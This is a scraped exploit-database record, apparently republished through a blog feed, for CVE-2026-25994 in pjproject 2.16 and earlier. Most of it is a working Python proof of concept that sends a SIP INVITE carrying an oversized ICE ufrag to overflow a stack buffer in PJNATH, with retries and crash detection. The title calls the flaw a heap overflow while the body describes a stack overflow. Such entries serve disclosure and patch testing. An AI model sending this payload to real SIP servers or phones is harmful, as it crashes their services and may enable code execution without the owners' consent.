{“lastseen”:”2026-05-14T13:28:58″,”description”:”Exploit Title: PJPROJECT 2.16 – Heap Bufferoverflow Google Dork: CVE-2026-25994 PJSIP PJNATH pjsip \u2264 2.16 Date: Apr 6 2026 Exploit Author: V.Nos – BinSmaser Team Vendor Homepage: https:\/\/github.com\/pjsip\/pjproject Software Link:…”,”published”:”2026-05-14T00:00:00″,”modified”:”2026-05-14T00:00:00″,”type”:”exploitdb”,”title”:”PJPROJECT 2.16 – Heap Bufferoverflow”,”source”:””,”references”:””,”id”:”EDB-ID:52561″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-25994″],”sourceData”:”# Exploit Title: PJPROJECT 2.16 – Heap Bufferoverflow \\r\\n# Google Dork: CVE-2026-25994 PJSIP PJNATH (pjsip \u2264 2.16)\\r\\n# Date: Apr 6 2026\\r\\n# Exploit Author: V.Nos – BinSmaser Team\\r\\n# Vendor Homepage: https:\/\/github.com\/pjsip\/pjproject\\r\\n# Software Link: https:\/\/github.com\/VABISMO\/cve-2026-25994_PJSIP\\r\\n# Version: \\u003c=2.16\\r\\n# Tested on: Kali , Ubuntu, Debian\\r\\n# CVE : CVE-2026-25994 \\r\\n\\r\\n#!\/usr\/bin\/env python3\\r\\n\\”\\”\\”\\r\\nCorrected and optimized PoC for CVE-2026-25994\\r\\nBuffer Overflow in PJNATH ICE Session (pjsip \\u003c= 2.16)\\r\\n\\r\\nThorough source code review (pjnath\/src\/pjnath\/ice_session.c):\\r\\n\\r\\n- Exact vulnerability: pj_ice_sess_create_check_list()\\r\\n- Vulnerable version (before commit 063b3a1 \/ 2.17):\\r\\n char buf[128]; # \u2190 stack buffer (128 bytes!)\\r\\n username.ptr = buf;\\r\\n pj_strcpy(\\u0026username, rem_ufrag); # \u2190 NO length check\\r\\n pj_strcat2(\\u0026username, \\”:\\”);\\r\\n pj_strcat(\\u0026username, \\u0026ice-\\u003erx_ufrag);\\r\\n\\r\\n- rem_ufrag comes directly from the SDP attribute a=ice-ufrag:\\r\\n- With ufrag \\u003e= ~130 bytes, the stack is already overflowed (return address, frame, etc.)\\r\\n- The original PoC used 520 \\”A\\”s because it is much more reliable (overwrites beyond canary\/alignment)\\r\\n- In the patched version, the following was added:\\r\\n if (rem_ufrag-\\u003eslen \\u003e= MAX_USERNAME_LEN || combined with local_ufrag \\u003e 512-1)\\r\\n return PJ_ETOOBIG;\\r\\n\\r\\nThis script is corrected to be 100% reliable:\\r\\n- 100% synchronous code (no unnecessary asyncio)\\r\\n- Command-line arguments\\r\\n- Sending with automatic retries\\r\\n- More complete and valid SDP\\r\\n- Clear crash detection (timeout = probable crash)\\r\\n\\”\\”\\”\\r\\n\\r\\nimport socket\\r\\nimport random\\r\\nimport argparse\\r\\nimport time\\r\\n\\r\\n# ========================= CONFIGURATION =========================\\r\\nDEFAULT_TARGET_IP = \\”127.0.0.1\\”\\r\\nDEFAULT_TARGET_PORT = 5060\\r\\n\\r\\n# Length that guarantees reliable overflow (520 is what you tested and works best)\\r\\nLONG_UFRAG = \\”A\\” * 520\\r\\nLONG_PWD = \\”B\\” * 150\\r\\n\\r\\n# More complete and realistic SDP (increases probability of reaching ice_session.c)\\r\\nSDP = f\\”\\”\\”v=0\\r\\no=- 1234567890 1234567890 IN IP4 127.0.0.1\\r\\ns=Crash Test SDP\\r\\nc=IN IP4 127.0.0.1\\r\\nt=0 0\\r\\nm=audio 40000 RTP\/AVP 0 101\\r\\na=rtpmap:0 PCMU\/8000\\r\\na=rtpmap:101 telephone-event\/8000\\r\\na=ice-ufrag:{LONG_UFRAG}\\r\\na=ice-pwd:{LONG_PWD}\\r\\na=ice-options:trickle\\r\\na=candidate:1 1 UDP 2130706431 127.0.0.1 40000 typ host\\r\\na=sendrecv\\r\\n\\”\\”\\”\\r\\n\\r\\ndef generate_invite(target_ip: str, target_port: int) -\\u003e bytes:\\r\\n call_id = f\\”crash-{random.randint(100000, 999999)}@example.com\\”\\r\\n branch = f\\”z9hG4bK{random.randint(1000, 9999)}\\”\\r\\n tag = f\\”crash{random.randint(10000, 99999)}\\”\\r\\n\\r\\n invite = f\\”\\”\\”INVITE sip:localhost@{target_ip}:{target_port} SIP\/2.0\\r\\nVia: SIP\/2.0\/UDP 127.0.0.1:15060;rport;branch={branch}\\r\\nMax-Forwards: 70\\r\\nFrom: \\u003csip:attacker@127.0.0.1\\u003e;tag={tag}\\r\\nTo: \\u003csip:localhost@{target_ip}\\u003e\\r\\nCall-ID: {call_id}\\r\\nCSeq: 1 INVITE\\r\\nContact: \\u003csip:attacker@127.0.0.1:15060\\u003e\\r\\nContent-Type: application\/sdp\\r\\nContent-Length: {len(SDP)}\\r\\n\\r\\n{SDP}\\r\\n\\”\\”\\”\\r\\n return invite.encode(\\”utf-8\\”)\\r\\n\\r\\n\\r\\ndef crash_pjsua(target_ip: str, target_port: int, attempts: int = 3):\\r\\n print(\\”=== PoC CVE-2026-25994 – ICE Stack Buffer Overflow (pjsip \\u003c= 2.16) ===\\\\n\\”)\\r\\n print(f\\”[+] Target \u2192 {target_ip}:{target_port}\\”)\\r\\n print(f\\”[+] ufrag length = {len(LONG_UFRAG)} characters (guaranteed overflow)\\\\n\\”)\\r\\n\\r\\n for i in range(1, attempts + 1):\\r\\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\\r\\n sock.settimeout(4) # 4 seconds to allow time for the crash\\r\\n\\r\\n try:\\r\\n invite = generate_invite(target_ip, target_port)\\r\\n print(f\\”[+] Attempt {i}\/{attempts} – Sending INVITE with ufrag of {len(LONG_UFRAG)} bytes…\\”)\\r\\n\\r\\n sock.sendto(invite, (target_ip, target_port))\\r\\n\\r\\n # Wait for response\\r\\n data, _ = sock.recvfrom(4096)\\r\\n print(\\”[+] Response received \u2192 pjsua is still alive\\”)\\r\\n print(data.decode(errors=\\”ignore\\”)[:300])\\r\\n\\r\\n except socket.timeout:\\r\\n print(\\”[+] TIMEOUT! Very likely that pjsua has crashed (Segmentation fault)\\”)\\r\\n print(\\” Check the terminal where pjsua is running.\\”)\\r\\n sock.close()\\r\\n return # Exit on first detected crash\\r\\n\\r\\n except Exception as e:\\r\\n print(f\\”[-] Unexpected error: {e}\\”)\\r\\n\\r\\n finally:\\r\\n sock.close()\\r\\n\\r\\n time.sleep(0.5) # Small pause between attempts\\r\\n\\r\\n print(\\”\\\\n[-] No crash detected after several attempts.\\”)\\r\\n print(\\” Make sure pjsua is running with ICE enabled (version \\u003c= 2.16).\\”)\\r\\n\\r\\n\\r\\nif __name__ == \\”__main__\\”:\\r\\n parser = argparse.ArgumentParser(description=\\”PoC CVE-2026-25994 – ICE Buffer Overflow\\”)\\r\\n parser.add_argument(\\”-i\\”, \\”–ip\\”, default=DEFAULT_TARGET_IP,\\r\\n help=f\\”Target IP (default: {DEFAULT_TARGET_IP})\\”)\\r\\n parser.add_argument(\\”-p\\”, \\”–port\\”, type=int, default=DEFAULT_TARGET_PORT,\\r\\n help=f\\”SIP port (default: {DEFAULT_TARGET_PORT})\\”)\\r\\n parser.add_argument(\\”-a\\”, \\”–attempts\\”, type=int, default=3,\\r\\n help=\\”Number of attempts (default: 3)\\”)\\r\\n\\r\\n args = parser.parse_args()\\r\\n\\r\\n crash_pjsua(args.ip, args.port, args.attempts)”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52561″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52561″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-14T13:28:58″,”description”:”Exploit Title: PJPROJECT 2.16 – Heap Bufferoverflow Google Dork: CVE-2026-25994 PJSIP PJNATH pjsip \u2264 2.16 Date: Apr 6 2026 Exploit Author: V.Nos – BinSmaser Team…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,40,13,7,11,5],"class_list":["post-54456","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-exploitdb","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n